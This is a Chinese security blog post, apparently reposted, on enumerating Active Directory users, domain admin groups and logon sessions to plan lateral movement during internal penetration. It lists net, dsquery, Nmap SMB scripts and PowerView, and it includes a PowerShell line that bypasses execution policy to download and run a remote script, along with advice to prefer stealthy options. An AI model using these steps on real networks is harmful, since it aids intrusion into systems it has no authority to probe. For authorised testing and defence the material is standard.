专栏首页黑白天安全团队获取域内管理员和用户信息

获取域内管理员和用户信息

1.查找所有域用户列表

向域控制器进行查询

net user /domain

获取域内用户的详细信息

wmic useraccount get /all

获取到的信息包含用户名,描述信息,SID,域名,状态等等。

获取存在的用户(要在 Active Directory 域管理服务器上运行。)

dsquery user
dsquery computer 查找目录中的计算机
dsquery contact  查找目录中的联系人
dsquery subnet   查找目录中的子网
dsquery group    查找目录中的组
dsquery ou       查找目录中的组织单位
dsquery site     查找目录中的站点
dsquery server   查找目录中的AD DC/LDS实例
dsquery user     查找目录中的用户
dsquery partition查找目录中的分区
dsquery *        使用通用的LDAP查找目录中的所有对象

查找本地管理员组用户

net localgroup administrators

2.查询域管理用户组

查找域管理员用户

net group “domain admin”  /domain

查找管理员用户组

net group “Enterprise Admins”  /domain

3.快速定位域管理员

内网渗透的目标是拿到某台特定的用户或计算机的权限,进而拿到特定的数据。

常规定位域管理员的方法

日志:指的是本地机器的管理员日志,可以使用脚本或wevtutil导出查看。
会话:指的是域内每台机器的登录会话,可以使用netsess.exe或powerview等等工具查询 可以匿名查询,不用权限(常用)

常规域管理员定位的工具

如果我们拿到了一台普通用户权限的windows计算机,想要在内网中横向移动,需要知道域内用户登录的位置,是否是本地管理员,他的组,是否有权访问文件共亨等等。

常用的域管理员定位工具有psloggedon.exe,PVEFindADUser,exe,netsess,exe以及huner,Netview等等。

在PowerShell中,常用的工具是PowerView。

psloggedon.exe

在Windows平台上使用psloggedon.exe,可以查看本地登录的用户和通过本地计算机或远程计算机资源登录的用户,原理是通过检查注册表的HKEY USERS项的key值来查询谁登录过(HKEY_USERS根键包括默认用户的信息(DEFAULT子键)和所有以前登陆的用户的信息.)但是有些功能需要管理员权限才能调用,而且会调用NetSessionEnum API。

一般来说不用加参数 psloggedon.exe //dc 就行

PVEFindADUser.exe(要管理员权限)

2009年放出来的工具。可以查找活动目录用户登录的位置,枚举域用户等等。

PVEFindADUser.exe -h 显示帮助信息
                  -current["username"]列出目标计算机上当前登录的所有用户/显示该用户登录的计算机
其他命令不多说,百度就ok

netview.exe(小部分要管理员权限)

利用 NetSessionEnum 来找寻登陆sessions, 利用NetShareEnum来找寻共享 , 利用 NetWkstaUserEnum 来枚举登陆的用户。调用Api太多不是个好事。

netview.exe 参数
常见参数
-h 查看帮助信息
-d 从当前域中提取主机列表 -d domian 指定提取主机列表的域
-g 在Domain admins组中搜索组名 -g group 指定搜索组名
-c 对找到的共享目录/文件的访问权限进行检查

Nmap的NSE脚本

如果存在域账号/本地账号,我们可以使用Nmap的smb-enum-session.nse脚本来获取远程机器的登录会话。

https://nmap.org/nsedoc/scripts/smb-enum-sessions.html

用法示例

nmap --script smb-enum-sessions.nse -p445 <host>
sudo nmap -sU -sS --script smb-enum-sessions.nse -p U:137,T:139 <host>

其他nmap脚本

smb-enum-users.nse
下载:https ://svn.nmap.org/nmap/scripts/smb-enum-users.nse
使用SAMR枚举或LSA暴力破解不同的技术来枚举远程Windows系统上的用户,并提供尽可能多的信息。默认情况下,两者都使用,但是它们具有特定的优点和缺点。最好同时使用两者,但在某些情况下,最好优先选择两者。
用法示例
nmap --script smb-enum-users.nse -p445 <host>
sudo nmap -sU -sS --script smb-enum-users.nse -p U:137,T:139 <host>
smb-enum-domains.nse
下载https://svn.nmap.org/nmap/scripts/smb-enum-domains.nse
尝试枚举系统上的域及其策略。可以获取主机信息,用户,可使用的密码策略的用户等等。
用法示例
nmap --script smb-enum-domains.nse -p445 <host>
sudo nmap -sU -sS --script smb-enum-domains.nse -p U:137,T:139 <host>

Powershell下的脚本

powerView脚本

本地调用 powershell.exe -exec bypass -command "&<import-module 本地脚本路径;invoke-stealithuserhunter>"
远程调用 powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1');invoke-stealithuserhunter"
域中定位域管理员:Invoke-UserHunter命令,在使用时不需要管理员权限;
获取域内所有用户:invoke-stealthuserhunter命令,在使用时不需要管理员权限;隐蔽性高。优先使用
其他
Get-NetDomain: 获取当前用户所在域的名称
Get-NetUser: 获取所有用户的详细信息
Get-NetDomainController: 获取所有域控制器的信息
Get-NetComputer: 获取域内所有机器的详细信息
Get-NetOU: 获取域中的OU信息
Get-NetGroup: 获取所有域内组和组成员信息
Get-NetFileServer: 根据SPN获取当前域使用的文件服务器信息
Get-NetShare: 获取当前域内所有网络共享信息
Get-NetSession: 获取指定服务器的会话
Get-NetRDPSession: 获取指定服务器的远程连接
Get-NetProcess: 获取远程主机的进程
Get-UserEvent: 获取指定用户的日志
Get-ADObiect: 获取活动目录的对象
Get-NetGPO: 获取域内所有的组策略对象
Get-DomainPolicy: 获取域默认策略或域控制器策略
Invoke-UserHunter: 获取域用户登录的计算机信息及该用户是否有本地管理员权限
Invoke-ProcessHunter: 通过查询域内所有的机器进程找到特定用户
Invoke-UserEvenHunter: 根据用户日志查询某域用户登录过哪些域机器。

本文分享自微信公众号 - 黑白天(HBT-SEC),作者:李木

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-07-27

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 手工 - 内网信息收集

    我们通过收集本机信息可以进一步了解到整个域的操作系统,软件,补丁安装,用户命名规范等等,方便进一步渗透测试。

    黑白天安全
  • windows用户和组

    用户账号的认证 用户账号是对计算机用户身份标识,。每个使用计算机的人,必须凭借他的用户账号密码才能够进入计算机,进而访问计算机里面的资源。在计算机中存有一个叫S...

    黑白天安全
  • Bayonet-一体化的资产管理系统

    Github地址:https://github.com/CTF-MissFeng/bayonet

    黑白天安全
  • Python图片组字.exe

    昨天,用Python代码将微信好友头像组字后,在stormzhang张哥星球发了个分享,没想到这么多球友感兴趣,不仅喜获两位老哥赞赏,还被张哥点赞了,着实开心~

    TTTEED
  • 几种有关排序的常见面试问题

    版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/sinat_35512245/articl...

    大黄大黄大黄
  • Arcgis for Js之Graphiclayer扩展详解

    在前两节,讲到了两种不同方式的聚类,一种是基于距离的,一种是基于区域范围的,两种不同的聚类都是通过扩展esri/layers/GraphicsLayer方法来实...

    lzugis
  • 刷爆朋友圈的百雀羚广告为什么会火?

    孟永辉
  • Linux:chattr命令和chgrp命令

    文 | 云豆 图 | 来源网络 云豆贴心提醒,本文阅读时间5分钟,文末有秘密! Linux chattr命令 Linux chattr命令用于改变文件...

    小小科
  • 播放器所面临的挑战

    随着低延迟流媒体传输技术的发展,新一代流媒体播放器的设计与实现面临诸多挑战。来自Bitmovin的Paul MacDougall在Mile High Video...

    用户1324186
  • Speed Up the Rendering Process of hexo 3

    HaHack

扫码关注云+社区

领取腾讯云代金券